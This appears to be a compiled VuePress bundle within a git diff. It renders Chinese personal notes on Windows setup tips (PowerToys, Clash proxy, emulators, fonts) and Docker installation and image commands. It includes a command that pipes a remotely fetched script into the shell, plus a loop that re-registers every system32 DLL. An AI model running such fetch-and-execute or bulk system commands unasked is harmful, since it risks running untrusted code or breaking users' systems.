后来在实践中找到了合适的窗口排布方案, 不过由于不是 win11 原生支持的贴边所以为了不频繁切换窗口就新建了一个虚拟桌面专门用来放置写前端项目的这四个窗口
除了四格外还放了 picgo 的上传图片界面以及 ShareX 的截图文件夹, 用来给笔记贴 gif 图
前端项目的四格单放一个桌面后原本的主桌面主要用于放置其他日常窗口以及 Typora 正在书写的笔记对应的 VSCode 窗口
毕竟 Typora 没有 Wakatime 插件, 而 VSCode 有 wakatime 扩展, 不在 VSCode 中打开相应文件的话就会丢失这部分的时间记录
此外, 让我比较愉悦的一点在于, 这块屏幕终于能让我完整地看完 wakatime 的页面了(
目前写前端项目的桌面状态差不多就是这样
pad 主要用于看视频教程, 不看视频教程时一般就是用来放音乐(
Win11 设置合盖不休眠 控制面板 -> 硬件和声音 -> 电源选项 -> 选择关闭笔记本计算机盖的功能 -> 关闭盖子时不采取任何操作
Game Steam steam工具箱 `,31),Vs={href:"https://github.com/SteamTools-Team/SteamTools/releases/tag/1.1.4",target:"_blank",rel:"noopener noreferrer"},Ls=t('在Releases
找最新的一次发行,下载第一个压缩文件,解压即可使用 点加速后若提醒443端口被占用可以去找一下是什么进程占用了443端口 ',3),Hs=e("hr",null,null,-1),Rs=e("h3",{id:"手游模拟器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#手游模拟器","aria-hidden":"true"},"#"),n(" 手游模拟器")],-1),js=e("h4",{id:"蓝叠模拟器-5-支持-hyper-v",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#蓝叠模拟器-5-支持-hyper-v","aria-hidden":"true"},"#"),n(" 蓝叠模拟器 5(支持 Hyper-V)")],-1),Ys={href:"https://support.bluestacks.com/hc/zh-tw/articles/4412148150157-%E5%A6%82%E4%BD%95%E5%9C%A8-Windows-%E4%B8%8A%E7%82%BA-BlueStacks-5-%E9%96%8B%E5%95%9F-Hyper-V",target:"_blank",rel:"noopener noreferrer"},Qs=e("p",null,"需要注意的是模拟器启动程序务必使用管理员模式启动",-1),Js=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211208145623.png",alt:"20211208145623"})],-1),Ks={href:"https://support.bluestacks.com/hc/zh-tw/articles/360057724751",target:"_blank",rel:"noopener noreferrer"},Zs=e("br",null,null,-1),$s={href:"https://www.reddit.com/r/BlueStacks/comments/r7hvkw/bluestacks_5_cannot_start_bluestacks_on_win11_any/",target:"_blank",rel:"noopener noreferrer"},ea=t(' PowerToys 自定义窗口布局
使用快捷键打开 FancyZiones 编辑器:
自定义完布局后按住 Shift 并拖动窗口就可以像使用原生贴边一样进行窗口排版了(如果设置了布局快捷键的话此时可以按下布局快捷键数字来显示自定义的不同布局进行贴靠)
窗口之间不想留太多距离的话可以在自定义布局时将区域周围的空间设置为0
调整图像大小
始终置项
始终此功能可以将一些不支持置项的窗口进行置项(比如原生的便筏)
文件资源管理器加载项 enmmm, 本身 explorer 就比较卡, 平时能不打开Explorer就不打开Explorer, 因此对这项功能无感
鼠标实用工具
最有用的地方在于可以双击ctrl来找鼠标指针, 会有一个聚焦效果, 不用再乱晃鼠标找指针了
荧光笔功能比较无感, 鼠标按住移动的时候周围会有一圈高亮(类似上面的聚焦圈圈换个亮黄色), 但是不显示轨迹, 就是单纯的一个跟着指针的圈
字体 中易宋体和微软雅黑 ',37),na={href:"https://www.zhihu.com/question/19855799",target:"_blank",rel:"noopener noreferrer"},sa={href:"https://zhuanlan.zhihu.com/p/162838215",target:"_blank",rel:"noopener noreferrer"},aa={href:"https://zhuanlan.zhihu.com/p/30568782",target:"_blank",rel:"noopener noreferrer"},ta=e("p",null,"总的来说, 微软雅黑不适合印刷品, 中易宋体是一种印刷字体但是比较平庸",-1),ia=e("p",null,"而且这两款windows自带的字体虽然使用频率很高, 但是并不能免费商用",-1),oa=e("hr",null,null,-1),la=e("h2",{id:"活动监控",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#活动监控","aria-hidden":"true"},"#"),n(" 活动监控")],-1),ra={href:"https://wakatime.com",target:"_blank",rel:"noopener noreferrer"},ca=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202302012235552.png",alt:"image-20230201223505418"})],-1),da={href:"https://github.com/ActivityWatch/activitywatch",target:"_blank",rel:"noopener noreferrer"},pa=t('
零散报错 Win11 下 QQ 调起文件资源管理器 C:\\WINDOWS\\SYSTEM32\\ntdll.dll 报错 ',4),ua={href:"https://blog.csdn.net/a874045/article/details/105579478",target:"_blank",rel:"noopener noreferrer"},ha=e("br",null,null,-1),ma={href:"https://www.reneelab.com.cn/windows-10-sfc-scannow.html",target:"_blank",rel:"noopener noreferrer"},ga=t(`
管理员权限打开 powershell 后输入
扫描完成, 未发现异常, 那可能是我注册表出了问题
以管理员权限打开CMD
, 执行以下命令把 %systemroot%\\system32
下所有的 dll 文件重新注册一遍
for %1 in ( %windir%\\ system32\\ *.dll) do regsvr32.exe /s %1
+
重启 QQ 后, 可以正常调起 Explorer 了
可能是之前用 CCleaner 清注册表的时候误删了
`,9);function ba(va,_a){const s=o("ExternalLinkIcon");return l(),r("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[n("如何掌握所有的程序语言 (yinwang.org)"),a(s)])])]),u,h,m,e("p",null,[e("a",g,[n("沙拉查词"),a(s)])]),e("ul",null,[e("li",null,[e("a",b,[n("使用文档"),a(s)])]),e("li",null,[e("a",v,[n("初次使用注意事项"),a(s)])]),e("li",null,[e("a",_,[n("配合Anki使用"),a(s)])]),k]),f,E,y,e("blockquote",null,[e("p",null,[e("a",x,[n("黑客说 - 技术驱动优质交流 (hackertalk.net)"),a(s)])])]),B,q,A,w,e("blockquote",null,[e("p",null,[e("a",D,[n("公共DNS推荐及dns测速 - fogwu - 博客园 (cnblogs.com)"),a(s)])])]),C,e("blockquote",null,[e("p",null,[e("a",P,[n("从计算机专业学生到程序员大佬,都一定受用的计算机行业高含金量证书盘点!_哔哩哔哩_bilibili"),a(s)])]),S,N]),M,F,e("blockquote",null,[e("p",null,[e("a",W,[n("中国计算机技术职业资格网"),a(s)])])]),T,U,I,z,O,e("blockquote",null,[e("p",null,[e("a",G,[n("PAT 计算机程序设计能力测试 (patest.cn)"),a(s)])])]),X,V,L,e("blockquote",null,[e("p",null,[e("a",H,[n("首页-项目管理职业资格认证 (chinapmp.cn)"),a(s)])])]),R,e("blockquote",null,[e("p",null,[e("a",j,[n("华为认证 (huawei.com)"),a(s)])])]),Y,e("blockquote",null,[e("p",null,[e("a",Q,[n("关于IDM调用火绒的设置 - 火绒安全软件 - 火绒安全软件 (huorong.cn)"),a(s)])])]),J,e("blockquote",null,[e("p",null,[e("a",K,[n("解决新版 Edge 浏览器无法使用 IDM 的问题_Xavier Jiezou的博客-CSDN博客_edge idm"),a(s)])])]),Z,e("ul",null,[e("li",null,[e("a",$,[n("参考链接"),a(s)])]),ee,ne]),se,e("ul",null,[e("li",null,[n("或者使用"),e("a",ae,[n("这个插件"),a(s)])])]),te,e("ul",null,[e("li",null,[n("多次同步,挂起,取消链接账户可能会导致 Explorer 左栏快捷访问中存在多个指向相同的 OneDrive 快捷访问"),ie,e("a",oe,[n("删除OneDrive for Bussiness导航栏快捷方式_根号负一的博客-CSDN博客"),a(s)])])]),le,re,e("blockquote",null,[e("p",null,[e("a",ce,[n("(2 封私信 / 59 条消息) Onedrive客户端如何走代理? - 知乎 (zhihu.com)"),a(s)])]),e("p",null,[e("a",de,[n("OneDrive 使用者所需的 URL 和端口 - SharePoint in Microsoft 365 | Microsoft Learn"),a(s)])]),e("p",null,[n("["),e("a",pe,[n("已解决]无法开启System Proxy · Issue #1105 · Fndroid/clash_for_windows_pkg (github.com)"),a(s)])])]),ue,e("ul",null,[e("li",null,[e("a",he,[n("OneDrive 使用者所需的 URL 和端口 - SharePoint in Microsoft 365 | Microsoft Learn"),a(s)])]),e("li",null,[e("a",me,[n("(2 封私信 / 59 条消息) Onedrive客户端如何走代理? - 知乎 (zhihu.com)"),a(s)])])]),ge,e("blockquote",null,[e("p",null,[n("["),e("a",be,[n("已解决]无法开启System Proxy · Issue #1105 · Fndroid/clash_for_windows_pkg (github.com)"),a(s)])])]),ve,_e,ke,e("ul",null,[e("li",null,[e("p",null,[e("a",fe,[n("参考链接"),a(s)])]),Ee]),ye,xe]),Be,qe,e("ul",null,[e("li",null,[n("进入"),e("a",Ae,[n("微软开发者中心"),a(s)]),n("并进入Office子项"),we,De]),Ce,e("li",null,[n("进入"),e("a",Pe,[n("活跃用户界面"),a(s)]),Se]),Ne]),Me,Fe,We,Te,Ue,e("ul",null,[e("li",null,[e("a",Ie,[n("参考视频"),a(s)])])]),ze,e("ul",null,[Oe,e("li",null,[e("p",null,[n("下载"),e("a",Ge,[n("RaiDrive"),a(s)]),n("并安装到自定义位置后打开软件,可以自行更新到最新版本(本就是官网有提供的free版)"),Xe,Ve])])]),e("blockquote",null,[e("p",null,[n("如果安装的时候出现问题可以选择忽略,这样依然装好了,运行桌面上的快捷方式,在设置里面检查更新到最新版本安装的时候基本不会报错 也可以直接在"),e("a",Le,[n("官网"),a(s)]),n("下载(可能需要一些魔法)")])]),He,Re,je,Ye,e("blockquote",null,[e("ul",null,[e("li",null,[n("最初找这个只是为了能让"),e("a",Qe,[n("PotPlayer"),a(s)]),n("能更方便地访问云盘中的视频资源从而在本地倍速播放云端的视频; "),Je])])]),Ke,Ze,$e,e("blockquote",null,[e("p",null,[n("后记: 建议放弃在非apple设备上使用iCloud"),en,n(" 有一说一,真的烂("),nn,e("a",sn,[n("删除win10 删除icloud后资源管理器icloud图标无法删除? - 知乎 (zhihu.com)"),a(s)])])]),an,tn,e("blockquote",null,[e("p",null,[e("a",on,[n("快速开始 - Cloudreve"),a(s)])])]),ln,e("blockquote",null,[e("p",null,[n("Docker 搭建可以参考: "),e("a",rn,[n("nextcloud/all-in-one: Nextcloud AIO stands for Nextcloud All-in-One and provides easy deployment and maintenance with most features included in this one Nextcloud instance. --- nextcloud/all-in-one:Nextcloud AIO 代表 Nextcloud All-in-One,通过该 Nextcloud 实例中包含的大多数功能提供轻松的部署和维护。 (github.com)"),a(s)])])]),cn,e("blockquote",null,[e("p",null,[e("a",dn,[n("Windows 10中的核心隔离和内存完整性是什么? | MOS86"),a(s)])])]),pn,un,hn,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",mn,[n("Windows 10 Core Isolation: Remove incompatible drivers - Administrator"),a(s)]),gn,e("a",bn,[n("Core Isolation - Memory Integrity Not Turning On - Driver - Microsoft Community"),a(s)]),vn,e("a",_n,[n("PnPUtil 命令语法 - Windows drivers | Microsoft Docs"),a(s)]),kn,e("a",fn,[n("PnPUtil 示例 - Windows drivers | Microsoft Docs"),a(s)])])]),En,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",yn,[n("如何在卸载游戏后完全删除TP? - (qq.com)"),a(s)])])]),xn,e("blockquote",null,[e("p",null,[e("a",Bn,[n("Windows 10中的核心隔离和内存完整性是什么? | MOS86"),a(s)]),qn,n(" 查阅资料中发现这个功能可能会导致虚拟机运行异常, 不过遇见这种问题时再把功能关掉就是了(")])]),An,wn,Dn,Cn,Pn,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",Sn,[n("WSL 2 自定义安装目录和网络配置_daihaoxin的专栏-CSDN博客_wsl2目录"),a(s)])])]),Nn,e("blockquote",null,[e("p",null,[e("a",Mn,[n("如何对某一程序取消用户账户控制_百度知道 (baidu.com)"),a(s)])])]),Fn,e("blockquote",null,[e("p",null,[e("a",Wn,[n("你需要来自 S-1-5-21-XXXX-XXX-XXX - Microsoft Community"),a(s)])]),e("p",null,[e("a",Tn,[n("Win10无法删除文件提示“你需要来自system的权限”的解决方案-系统城·电脑系统下载之家 (xitongcheng.com)"),a(s)])])]),Un,In,zn,On,Gn,e("p",null,[e("a",Xn,[n("白描"),a(s)])]),Vn,Ln,e("blockquote",null,[e("p",null,[e("a",Hn,[n("Github/Dreamacro/clash"),a(s)]),Rn,e("a",jn,[n("Github/Dreamacro/clash-dashboard"),a(s)]),e("a",Yn,[n("alvinkwok/clashForLinux安装配置"),a(s)])]),Qn,e("p",null,[e("a",Jn,[n("正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)"),a(s)])]),e("p",null,[e("a",Kn,[n("clash 中的 minxin 使用教程 - cornradio的技术博客"),a(s)])]),e("p",null,[e("a",Zn,[n("steam如何绕过clash的全局代理 - cornradio的技术博客"),a(s)])]),$n]),e("blockquote",null,[e("p",null,[e("a",es,[n("Clash for windows RCE 漏洞 - FreeBuf网络安全行业门户"),a(s)])])]),ns,e("p",null,[n("在 "),e("a",ss,[n("Releases · Dreamacro/clash (github.com)"),a(s)]),n(" 下载对应的安装包, 这里我选择的是 "),e("a",as,[n("clash-linux-amd64-v1.13.0.gz"),a(s)])]),ts,e("blockquote",null,[e("p",null,[e("a",is,[n("bpo-42627: Fix wrong parsing of Windows registry proxy settings by CrazyBoyFeng · Pull Request #26307 · python/cpython · GitHub"),a(s)])])]),os,ls,rs,cs,ds,e("blockquote",null,[e("p",null,[e("a",ps,[n("TUN 模式 | Clash for Windows (lbyczf.com)"),a(s)])]),e("p",null,[e("a",us,[n("正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)"),a(s)])]),e("p",null,[e("a",hs,[n("Clash for Windows 优雅地使用 TUN 模式接管系统流量 · Dejavu's Blog"),a(s)])])]),ms,e("ul",null,[gs,e("li",null,[bs,e("ul",null,[vs,_s,ks,e("li",null,[n("Windows 中的 UWP 应用是无法走这个代理的,因为 UWP 应用网络隔离的‘沙箱’特性,因此我们还需要使用 "),fs,n(" 中的轻量 "),Es,n(" 来解锁 UWP 应用的网络隔离,后续新安装的 UWP 应用也要按照上面步骤进行添加,否则 UWP 应用就会无法联网;此外,像 Git、npm、yarn 这些是无法走系统代理的,需要 "),e("a",ys,[n("手动设置代理"),a(s)]),n(",而且一些不支持设置代理但又无法在天朝直连国际互联网的软件/应用 Fuxk GFW 也是个难题,而绝佳的 CFW(Clash For Windows) 提供了 TUN/TAP 模式就很好的解决了这个问题")]),xs])]),e("li",null,[Bs,e("ul",null,[e("li",null,[e("p",null,[n("点击"),qs,n("中"),As,n("右边"),ws,n(",在打开窗口中安装服务模式,安装完成应用会自动重启,Service Mode 右边地球图标变为"),Ds,n("即安装成功(无法安装参考:"),e("a",Cs,[n("这里"),a(s)]),n(")")]),e("blockquote",null,[e("p",null,[e("a",Ps,[n("Service Mode 作用是啥?为什么要开启这个模式 · Issue #2839 · Fndroid/clash_for_windows_pkg (github.com)"),a(s)])])]),Ss,Ns]),Ms])])]),Fs,Ws,e("blockquote",null,[e("p",null,[e("a",Ts,[n("Mixin | Clash for Windows (lbyczf.com)"),a(s)])]),e("p",null,[e("a",Us,[n("clash 中的 minxin 使用教程 - cornradio的技术博客"),a(s)])])]),Is,e("blockquote",null,[e("p",null,[e("a",zs,[n("绕过系统代理 | Clash for Windows (lbyczf.com)"),a(s)])]),e("p",null,[e("a",Os,[n("0.16.2 版,Steam 商店、社区无法加载 · Issue #2035 · Fndroid/clash_for_windows_pkg (github.com)"),a(s)])]),e("p",null,[e("a",Gs,[n("steam如何绕过clash的全局代理 - cornradio的技术博客"),a(s)])])]),Xs,e("ul",null,[e("li",null,[e("a",Vs,[n("steam工具箱@rmbadmin"),a(s)])]),Ls]),Hs,Rs,js,e("p",null,[e("a",Ys,[n("如何在 Windows 上為 BlueStacks 5 開啟 Hyper-V"),a(s)])]),Qs,Js,e("blockquote",null,[e("p",null,[e("a",Ks,[n("如何從您的電腦上完全移除BlueStacks 5"),a(s)]),Zs,e("a",$s,[n("Bluestacks 5 Cannot Start BlueStacks on Win11 (any 64Bit instance version)"),a(s)])])]),ea,e("blockquote",null,[e("p",null,[e("a",na,[n("在打印文本的正文字体中,宋体(中易)和微软雅黑孰优孰劣? - 知乎 (zhihu.com)"),a(s)])]),e("p",null,[e("a",sa,[n("Windows自带的宋体、黑体、楷体、仿宋体等能免费商用吗? - 知乎 (zhihu.com)"),a(s)])]),e("p",null,[e("a",aa,[n("对不起,微软雅黑不是免费字体 - 知乎 (zhihu.com)"),a(s)])])]),ta,ia,oa,la,e("p",null,[n("可以用 "),e("a",ra,[n("WakaTime"),a(s)]),n(" 做代码时间监控")]),ca,e("p",null,[n("对于窗口活动监控可以使用 "),e("a",da,[n("ActivityWatch/activitywatch: The best free and open-source automated time tracker. Cross-platform, extensible, privacy-focused. (github.com)"),a(s)])]),pa,e("blockquote",null,[e("p",null,[e("a",ua,[n("ntdll.dll故障_a874045的博客-CSDN博客_ntdll.dll错误"),a(s)]),ha,e("a",ma,[n("如何在Windows 10使用sfc /scannow命令? - 都叫兽软件 | 都叫兽软件 (reneelab.com.cn)"),a(s)])])]),ga])}const Ea=i(c,[["render",ba],["__file","DailyLife.html.vue"]]);export{Ea as default};
diff --git a/assets/Docker.html-032cd872.js b/assets/Docker.html-032cd872.js
new file mode 100644
index 0000000000..7a00bb4779
--- /dev/null
+++ b/assets/Docker.html-032cd872.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-6c4048f8","path":"/%E9%80%9A%E8%AF%86/Docker/Docker.html","title":"Docker","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"换源","slug":"换源","link":"#换源","children":[{"level":3,"title":"Docker-hub 换源","slug":"docker-hub-换源","link":"#docker-hub-换源","children":[]}]},{"level":2,"title":"镜像","slug":"镜像","link":"#镜像","children":[{"level":3,"title":"常用指令","slug":"常用指令","link":"#常用指令","children":[]},{"level":3,"title":"删除镜像","slug":"删除镜像","link":"#删除镜像","children":[]},{"level":3,"title":"镜像导出与导入","slug":"镜像导出与导入","link":"#镜像导出与导入","children":[]},{"level":3,"title":"将镜像跑为容器","slug":"将镜像跑为容器","link":"#将镜像跑为容器","children":[]},{"level":3,"title":"推送到 Habor","slug":"推送到-habor","link":"#推送到-habor","children":[]}]},{"level":2,"title":"容器","slug":"容器","link":"#容器","children":[{"level":3,"title":"常用指令","slug":"常用指令-1","link":"#常用指令-1","children":[]},{"level":3,"title":"从容器中复制文件到本地(docker cp)","slug":"从容器中复制文件到本地-docker-cp","link":"#从容器中复制文件到本地-docker-cp","children":[]},{"level":3,"title":"将容器重新打包成镜像","slug":"将容器重新打包成镜像","link":"#将容器重新打包成镜像","children":[]}]},{"level":2,"title":"安全相关","slug":"安全相关","link":"#安全相关","children":[{"level":3,"title":"Docker逃逸","slug":"docker逃逸","link":"#docker逃逸","children":[]}]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":"ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network","slug":"error-could-not-find-an-available-non-overlapping-ipv4-address-pool-among-the-defaults-to-assign-to-the-network","link":"#error-could-not-find-an-available-non-overlapping-ipv4-address-pool-among-the-defaults-to-assign-to-the-network","children":[]},{"level":3,"title":"unable to connect to deb.debian.org:http","slug":"unable-to-connect-to-deb-debian-org-http","link":"#unable-to-connect-to-deb-debian-org-http","children":[]},{"level":3,"title":"There is no public key","slug":"there-is-no-public-key","link":"#there-is-no-public-key","children":[]},{"level":3,"title":"debconf: delaying package configuration, since apt-utils is not installed","slug":"debconf-delaying-package-configuration-since-apt-utils-is-not-installed","link":"#debconf-delaying-package-configuration-since-apt-utils-is-not-installed","children":[]},{"level":3,"title":"安装插件失败 - failed to extract plugin [/usr/share/elasticsearch/plugins/head.zip]: ZipException[zip file is empty]","slug":"安装插件失败-failed-to-extract-plugin-usr-share-elasticsearch-plugins-head-zip-zipexception-zip-file-is-empty","link":"#安装插件失败-failed-to-extract-plugin-usr-share-elasticsearch-plugins-head-zip-zipexception-zip-file-is-empty","children":[]}]}],"git":{"createdTime":1667960979000,"updatedTime":1698148117000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":5},{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1},{"name":"233PC","email":"ayusummer233@gmail.com","commits":1}]},"readingTime":{"minutes":11.11,"words":3332},"filePathRelative":"通识/Docker/Docker.md","localizedDate":"2022年11月9日","excerpt":""}');export{e as data};
diff --git a/assets/Docker.html-e768c1a8.js b/assets/Docker.html-e768c1a8.js
new file mode 100644
index 0000000000..4cd5da507c
--- /dev/null
+++ b/assets/Docker.html-e768c1a8.js
@@ -0,0 +1,124 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as p,c as u,d as a,w as o,b as e,e as n,f as t}from"./app-880c6425.js";const m={},h=e("h1",{id:"docker",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#docker","aria-hidden":"true"},"#"),n(" Docker")],-1),k=e("h2",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),n(" 安装")],-1),b={href:"https://cloud.tencent.com/developer/article/1854430",target:"_blank",rel:"noopener noreferrer"},v={href:"https://kalacloud.com/blog/how-to-install-and-use-docker-on-ubuntu/",target:"_blank",rel:"noopener noreferrer"},g=e("hr",null,null,-1),f=e("p",null,"使用如下脚本来安装 docker 即可:",-1),_=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# Install the latest version docker"),n(`
+`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-s"),n(" https://get.docker.com/ "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sh"),n(`
+
+`),e("span",{class:"token comment"},"# Run docker service"),n(`
+systemctl start `),e("span",{class:"token function"},"docker"),n(`
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),x=e("hr",null,null,-1),y=e("p",null,"旧版安装指令:",-1),D=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 更新现有的软件包列表"),n(`
+`),e("span",{class:"token function"},"apt"),n(` update
+`),e("span",{class:"token comment"},"# 安装所需工具包"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(" apt-transport-https ca-certificates "),e("span",{class:"token function"},"curl"),n(` gnupg-agent software-properties-common
+`),e("span",{class:"token comment"},"# 然后将官方 Docker 版本库的 GPG 密钥添加到系统中:"),n(`
+`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://download.docker.com/linux/ubuntu/gpg "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(" apt-key "),e("span",{class:"token function"},"add"),n(` -
+`),e("span",{class:"token comment"},"# 将 Docker 版本库添加到APT源:"),n(`
+`),e("span",{class:"token function"},"sudo"),n(" add-apt-repository "),e("span",{class:"token string"},'"deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"'),n(`
+`),e("span",{class:"token comment"},"# 用新添加的 Docker 软件包来进行升级更新。"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update
+`),e("span",{class:"token comment"},"# 确保要从 Docker 版本库,而不是默认的 Ubuntu 版本库进行安装:"),n(`
+`),e("span",{class:"token function"},"apt-cache"),n(` policy docker-ce
+`),e("span",{class:"token comment"},"# 安装 Docker :"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` docker-ce
+`),e("span",{class:"token comment"},"# 现在 Docker 已经安装完毕。我们启动守护程序。检查 Docker 是否正在运行:"),n(`
+`),e("span",{class:"token function"},"sudo"),n(" systemctl status "),e("span",{class:"token function"},"docker"),n(`
+`),e("span",{class:"token comment"},"# 设置 docker 开机自动启动"),n(`
+`),e("span",{class:"token function"},"sudo"),n(" systemctl "),e("span",{class:"token builtin class-name"},"enable"),n(` docker.service
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),q={href:"https://ywnz.com/linuxjc/6543.html",target:"_blank",rel:"noopener noreferrer"},w=e("hr",null,null,-1),E=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 更新现有的软件包列表"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update
+`),e("span",{class:"token comment"},"# 安装所需工具包"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token parameter variable"},"-y"),n(),e("span",{class:"token function"},"install"),n(),e("span",{class:"token function"},"curl"),n(` gnupg2 apt-transport-https software-properties-common ca-certificates
+`),e("span",{class:"token comment"},"# 导入用于签署Docker软件包的Docker GPG密钥:"),n(`
+`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://download.docker.com/linux/debian/gpg "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(" apt-key "),e("span",{class:"token function"},"add"),n(` -
+`),e("span",{class:"token comment"},"# 添加包含Docker CE最新稳定版本的Docker存储库:"),n(`
+`),e("span",{class:"token builtin class-name"},"echo"),n(),e("span",{class:"token string"},'"deb [arch=amd64] https://download.docker.com/linux/debian buster stable"'),n(),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"tee"),n(` /etc/apt/sources.list.d/docker.list
+`),e("span",{class:"token comment"},"# 更新apt包索引"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update
+`),e("span",{class:"token comment"},"# 在Kali Linux上安装Docker CE"),n(`
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` docker-ce docker-ce-cli containerd.io
+`),e("span",{class:"token comment"},"# 检查安装的Docker版本"),n(`
+`),e("span",{class:"token function"},"docker"),n(` version
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),A={href:"https://blog.csdn.net/weixin_39786155/article/details/110363154",target:"_blank",rel:"noopener noreferrer"},N=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://get.docker.com "),e("span",{class:"token parameter variable"},"-o"),n(` get-docker.sh
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"sh"),n(` get-docker.sh
+`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"service"),n(),e("span",{class:"token function"},"docker"),n(` start
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),S=e("blockquote",null,[e("p",null,"wsl2-kali 是不支持以此种方式安装的, 可以在 Windows 上装 Docker Desktop 并启用 WSL2 访问"),e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202211202356631.png",alt:"image-20221120235620604"})]),e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202211210007112.png",alt:"image-20221121000717073"})])],-1),T=t(` 换源 Docker-hub 换源 打开 /etc/docker/daemon.json
并输入
{
+ "registry-mirrors" : [
+ "https://hub-mirror.c.163.com" ,
+ "https://ustc-edu-cn.mirror.aliyuncs.com"
+ ]
+}
+
+
然后重启 docker
镜像 `,8),L={href:"https://www.cnblogs.com/baizhanshi/p/9655102.html",target:"_blank",rel:"noopener noreferrer"},I=t(`
常用指令 拉取镜像
+
+docker pull vuldocker/lamp
+
docker pull
下来的镜像默认存在 /var/lib/docker/
目录下
查看当前镜像列表
修改镜像 Tag
+docker tag 8ef375298394 MySQL:v5.7
+
+
+docker tag MySQL:v5.7 http://100.1.1.111:8080/MySQL:v5.7
+
删除镜像
+docker rmi centos
+
+docker rmi centos:v2
+
+docker rmi 7e6257c9f8d8
+
